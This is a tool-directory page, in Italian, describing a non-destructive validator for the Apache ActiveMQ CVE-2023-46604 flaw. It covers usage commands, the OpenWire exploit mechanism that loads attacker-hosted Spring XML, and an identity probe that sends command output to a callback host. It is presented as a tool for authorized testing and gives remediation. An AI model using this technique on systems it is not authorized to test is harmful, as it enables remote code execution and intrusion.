Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ActiveMQ-CVE-2023-46604 — Validator non distruttivo per Apache ActiveMQ CVE-2023-46604. Invia pacchetti OpenWire appositamente costruiti, utilizza un server di callback HTTP per confermare RCE o caricamento XML e genera prove in formato CSV/JSON per test di penetrazione autorizzati. | Kitploit
Strumenti/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
Scanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Validator non distruttivo per Apache ActiveMQ CVE-2023-46604. Invia pacchetti OpenWire appositamente costruiti, utilizza un server di callback HTTP per confermare RCE o caricamento XML e genera prove in formato CSV/JSON per test di penetrazione autorizzati.

Vedi Repository
1422 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-46604 ActiveMQ Safe Validator

Un validatore non distruttivo in un singolo file per Apache ActiveMQ CVE-2023-46604. Avvia il proprio server di callback HTTP, genera in memoria XML Spring specifico per il target, invia il pacchetto OpenWire appositamente costruito, correla i callback con token univoci e scrive prove in CSV/JSON.

Il progetto è progettato per test di penetrazione autorizzati e validazione di flotte. Deliberatamente non implementa reverse shell, esecuzione di comandi senza restrizioni, espansione CIDR, persistenza o staging di payload.

Cosa dimostra il validatore

Sono disponibili due modalità di prova fisse:

  • rce esegue una sonda di identità fissa, di sola lettura, e restituisce il suo output al server HTTP integrato. Un callback conferma l'esecuzione di comandi del sistema operativo nel contesto del servizio ActiveMQ.
  • xml serve un contesto Spring vuoto. Un fetch conferma che il messaggio OpenWire appositamente costruito ha causato l'istanziazione di ClassPathXmlApplicationContext da parte del target e il recupero di XML controllato dall'attaccante, senza avviare un processo.

Non è necessario creare o ospitare separatamente file XML.

Caratteristiche

  • Un solo file Python; solo libreria standard
  • Server HTTP integrato con threading
  • Token XML e di callback dinamici, specifici per target
  • Input esplicito per target singolo e multiplo
  • Concorrenza limitata e nuovi tentativi di invio
  • Supporto OpenWire semplice e OpenWire con TLS
  • Sonde di identità fisse per Linux e Windows
  • Prove CSV per impostazione predefinita, JSON opzionale
  • Stati dei risultati accurati che evitano false affermazioni di "non vulnerabile"
  • Codice di uscita --fail-on-vuln adatto alla CI

Requisiti

  • Python 3.9 o successivo
  • Accesso di rete dall'host di test al listener OpenWire del target
  • Accesso di rete dal target all'indirizzo di callback HTTP integrato
  • Autorizzazione esplicita per ogni target

La porta OpenWire predefinita è 61616, ma sono supportate porte non predefinite.

Avvio rapido

Negli esempi utilizzare indirizzi solo a scopo documentale; sostituirli con i propri asset autorizzati.

Target Linux singolo

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616 \
  --callback-host 192.0.2.50

Lo script avvia automaticamente il server di callback su TCP/8000, serve l'XML generato, invia il pacchetto OpenWire, attende le prove, stampa una tabella dei risultati e scrive:

root@kitploit:~
activemq-cve-2023-46604-results.csv

Target espliciti multipli

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target mq01.example.test:61616 \
  --target mq02.example.test:61616 \
  --target tcp://192.0.2.23:61500 \
  --callback-host 192.0.2.50 \
  --workers 4 \
  --json-output results.json

File dei target

Creare targets.txt:

root@kitploit:~
# Un host esplicitamente autorizzato per riga
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617

Eseguire:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --http-port 8000 \
  --platform linux \
  --proof rce \
  --workers 8 \
  --wait 15 \
  --output findings.csv \
  --json-output findings.json

I file dei target possono contenere righe vuote e commenti che iniziano con #. L'espansione CIDR non è supportata intenzionalmente; enumerare esplicitamente l'inventario autorizzato.

Rilevamento automatico dell'indirizzo di callback

Per reti instradate semplici, omettere --callback-host:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616

Lo strumento seleziona l'indirizzo sorgente locale utilizzato per instradare verso il primo target. Specificare --callback-host quando si testa attraverso NAT, VPN, container, host di salto o sistemi multi-homed.

ActiveMQ ospitato su Windows

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.30:61616 \
  --callback-host 192.0.2.50 \
  --platform windows \
  --proof rce

La sonda Windows utilizza un comando PowerShell fisso e non interattivo per restituire l'identità del servizio, il nome del computer e la versione del sistema operativo. Non fornisce una shell interattiva.

Validazione solo caricamento XML

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --proof xml

Questa modalità non istanzia ProcessBuilder.

OpenWire con TLS

Utilizzare un target ssl://:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50

Per un listener interno con certificato non attendibile:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50 \
  --tls-no-verify

--tls-no-verify influisce solo sulla connessione TLS OpenWire. Il server di callback è HTTP.

Stati dei risultati

StatoSignificato
CONFIRMED_VULNERABLE_RCEIl target ha recuperato il proprio XML e il comando di identità fisso ha restituito prove.
CONFIRMED_VULNERABLE_XML_LOADIn modalità xml, il target ha recuperato il documento XML univoco.
VULNERABLE_XML_LOAD_ONLYIn modalità rce, il recupero XML è avvenuto ma il callback del comando non si è verificato. Il percorso di istanziazione della classe vulnerabile è confermato; gli strumenti di callback, l'egress o l'esecuzione di processi potrebbero essere limitati.
NOT_CONFIRMEDIl pacchetto è stato inviato, ma nessuna prova HTTP correlata è arrivata prima della scadenza. Questo non è una prova che l'host sia stato aggiornato.
UNREACHABLELa connessione TCP/TLS o l'invio del pacchetto non sono riusciti.

Un broker aggiornato, una porta errata, il filtraggio dell'egress, problemi di instradamento, una mancata corrispondenza TLS e i controlli degli endpoint possono tutti influenzare la validazione basata su callback. Conservare i timestamp CSV/JSON e l'output dei callback come prove per il report.

Prove di identità fisse

La sonda di identità Linux restituisce un output simile a:

root@kitploit:~
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...

Prova curl, wget e BusyBox wget per la POST HTTP. Se l'XML viene recuperato ma nessuno di questi client è disponibile, il risultato è VULNERABLE_XML_LOAD_ONLY anziché un falso negativo.

Codici di uscita

  • 0: la validazione è stata completata, oppure sono state trovate vulnerabilità senza --fail-on-vuln
  • 2: è stato trovato almeno un risultato vulnerabile ed è stato fornito --fail-on-vuln
  • gli errori di argparse utilizzano il normale codice di errore della riga di comando non zero

Esempio di utilizzo in CI:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --fail-on-vuln

Come funziona

CVE-2023-46604 riguarda l'unmarshalling OpenWire in Java. Il validatore invia una ExceptionResponse OpenWire con marshalling lasco la cui classe di eccezione è:

root@kitploit:~
org.springframework.context.support.ClassPathXmlApplicationContext

Il messaggio di eccezione è l'URL univoco dell'XML Spring generato. Il codice ActiveMQ vulnerabile istanzia la classe selezionata dall'attaccante con quell'URL. In modalità rce, il contesto Spring avvia una sonda ProcessBuilder fissa; in modalità xml, il contesto è vuoto.

Ogni target riceve un token diverso, ad esempio:

root@kitploit:~
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>

Ciò consente di attribuire i callback concorrenti al target corretto.

Riferimento dei comandi

root@kitploit:~
--authorized                 Riconoscimento di autorizzazione richiesto
-t, --target VALUE           Target esplicito; ripetibile
-T, --targets-file FILE      Un target esplicito per riga; ripetibile
--default-port PORT          Predefinito 61616
--tls                        Utilizza TLS per tutti i target
--tls-no-verify              Disabilita la validazione del certificato TLS OpenWire
--callback-host HOST         Indirizzo che i target utilizzano per i callback HTTP
--bind-host HOST             Indirizzo di bind HTTP locale; predefinito 0.0.0.0
--http-port PORT             Porta HTTP locale; predefinita 8000; 0 seleziona una porta libera
--proof rce|xml              Modalità di prova fissa; predefinita rce
--platform linux|windows     Sistema operativo target per la modalità RCE; predefinito linux
--workers N                  Worker paralleli; massimo 32
--connect-timeout SECONDS    Timeout TCP/TLS
--wait SECONDS               Finestra di raccolta dei callback
--retries N                  Da uno a tre tentativi di invio del pacchetto
--retry-delay SECONDS        Ritardo tra i tentativi
-o, --output FILE            Destinazione delle prove CSV
--json-output FILE           Destinazione JSON opzionale
--verbose                    Mostra i log delle richieste HTTP
--fail-on-vuln               Esce con codice 2 quando viene trovato un risultato vulnerabile

Test

root@kitploit:~
python3 -m unittest discover -s tests -v

I test verificano l'analisi dei target, il rifiuto CIDR, la corretta formazione dell'XML e la struttura del frame OpenWire senza contattare alcun target.

Rimedio

Aggiornare ActiveMQ a una versione corretta e attualmente supportata. L'avviso Apache ha identificato le versioni corrette per i rami allora correnti come ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3 e 6.0.0, e Artemis 2.31.2. Limitare inoltre i listener OpenWire ai client attendibili e monitorare il recupero XML in uscita inatteso.

Sicurezza e ambito

Questo repository è per la validazione difensiva e le valutazioni di sicurezza autorizzate. Omette intenzionalmente:

  • payload di reverse shell
  • esecuzione arbitraria di --command
  • staging di eseguibili o script
  • persistenza
  • attacchi di autenticazione
  • espansione CIDR/range

La sonda di identità fissa è sufficiente per dimostrare l'esecuzione remota di comandi e l'impatto sull'account di servizio senza stabilire un accesso interattivo.

Riferimenti

  • Apache ActiveMQ: https://activemq.apache.org/news/cve-2023-46604
  • Avvisi di sicurezza Apache ActiveMQ: https://activemq.apache.org/components/classic/security
  • Sorgente Apache ActiveMQ: https://github.com/apache/activemq
  • Laboratorio Vulhub: https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

Licenza

MIT. Vedere LICENSE.

Scarica lo strumento